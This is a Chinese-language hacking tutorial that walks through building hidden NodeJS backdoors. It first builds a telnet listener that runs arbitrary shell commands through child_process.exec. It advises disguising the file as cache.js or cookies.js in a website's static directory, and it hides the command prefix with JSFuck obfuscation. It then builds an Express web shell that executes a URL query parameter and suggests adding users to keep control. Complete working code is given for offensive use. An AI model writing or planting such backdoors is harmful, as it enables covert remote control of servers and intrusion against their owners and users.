0x01 为什么选择NodeJs
0x02 前期准备工作有关NodeJs安装的,请自行百度。 我这里使用的是NodeJs版本是5.1.0 NodeJs安装完成后,我们可以随便在哪一个目录建立一个NodeJs文件,当然我这里推荐在服务器网站上的静态目录里的JavaScript目录来写,因为都是JavaScript文件,有很大的隐蔽性。我嫌麻烦,就在~目录下建立一个nodeDemo目录来建立NodeJs文件了。 我这里建立的是app.js,当然名字随便取,你可以取base.js、cache.js、cookies.js等等,起到隐蔽性就行了。 0x03 telnet通信后门NodeJs里使用telnet进行通信的时候,需要调用 代码如下: var net = require('net'); var exec = require('child_process').exec; 然后使用createServer()函数来创建连接,代码如下: var server= net.createServer(function(conn){ //code }); 接下来要解决字符串编码问题,不然乱码真的没法看: conn.setEncoding('utf8'); 注意这里没有 为了好看,我还特意加上了 OK,接下来就是连接成功后,处理输入的字符串了。这里需要用on函数: conn.on('data',function(data){ //code }); 在输入后的字符串里,删除掉回车字符串。 data=data.replace('\r\n',''); 这段代码非常重要。我被这个坑卡了二十分钟。很多人可能会问不就是个回车么,按两次回车键怎么了。问题就在这。他这是ascll编码,也就是说你这个不会回车,而是回车的ascll编码,如果没有这个命令,你输入的命令都将无法使用,你用echo输出到的文件也会变成xxx.txt?这里并不是真正的?,而是系统无法显示出这个字符,而用?告诉人们,这是一个无法显示的字符串。 这里的data变量就是我们输入的命令了。接下来就要用到 exec(data,function(error,stdout){ //code }); exec的第一个参数是data,也就是我们要运行的代码,后面的参数是个函数,这个函数里的一个参数是error,他是反馈命令中存在的错误。二个参数stdout是命令运行后的反馈。 我们先判断运行的命令中是否存在错误: if(error !== null){ conn.write(error + '\n'); return false; } 如果没有错误会反馈null字符串,我们就拿这个当做判断条件。Conn.write是在telnet终端反馈字符的,相当于php中的echo。
接下来就是显示命令反馈了: conn.write('########################start\n\n' + stdout + '\n########################end\n\n'); 为了更加的直观,我用#start和#end来标出反馈的区域。 server变量OK后,就是让程序监听端口运行了。 server.listen(3000,function(){ console.log('OK'); }); 监听3000端口,并在终端中显示OK。 完整代码如下: var net = require('net'); var exec = require('child_process').exec; var server= net.createServer(function(conn){ conn.setEncoding('utf8'); conn.write('\n'); conn.on('data',function(data){ data=data.replace('\r\n',''); exec(data,function(error,stdout){ if(error !== null){ conn.write(error + '\n'); return false; } conn.write('########################start\n\n' + stdout + '\n########################end\n\n'); }); }); }); server.listen(3000,function(){ console.log('OK'); }); 现在让我们来测试一下: 打开另一个终端,输入 现在我们输入几条命令试下: OK了。现在只需要使用添加用户即可再次控制机器。 而这里有个缺陷,就是没有密码验证,我特意查了net库里的函数,但是没有找到密码验证,于是我想到了另一种方法来代替密码验证。代码如下: if(data.substring(0,2) == 'js'){ data = data.substring(2); }else{ return false; } 每一条命令的前面都加上js才会运行,如果没有,则什么都不输出。事例: 加上当我第一次输入ls的时候,程序并没有运行,当前面加上js字符串之后,命令才成功的运行。 直接写js字符串太显眼了,我们加密一下吧,因为NodeJs用的v8引擎,那么在浏览器里的JavaScript黑魔法,在NodeJs里也可以使用,我们打开http://www./把js加密下,加密后的字符串是: (+(!+[]+!+[]+!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]] 如图: 那么现在的NodeJs后门代码就变成这个样子: 现在我们来测试一下能不能使用: 完美。 0x03 web通信后门上节说道使用telnet通信当做后门,那么现在我们来说一说web通信后门。 这里是使用了express框架吗,玩过NodeJs的人都知道,基本是NodeJs必装框架。 安装express框架请自行百度。 首先我们建立一个网站目录用于存放后面程序。 express node如图: cd node && npm install 完成后,基本就OK了。现在我们进入到routes目录。修改index.js文件。 vim router/index.js 这是之前的index.js代码,现在我们来修改它。 在第三行加入代码: var exec = require('child_process').exec; 删除第6行代码,修改为: exec(req.query.webshellPassword,function(error,stdout){ if(error !== null){ res.send(error); return false; } res.send(stdout); }); 基本和上一节的telnet通信后门代码差不多。只是出现了如下代码: req.query.webshellPassword
完整代码如下: 现在我们进入到node目录。运行它: 打开浏览器,输入 结果如下: 浏如果是window系统,没有装linux命令集的话,请把ls改成dir。 我们来大致看一下能做哪些事: 想干啥都可以,心情瞬间变得更美丽的呢。 下一章将说到使用网站来管理后门。麻麻再也不用担心我天天抱着电脑了呢。 |
|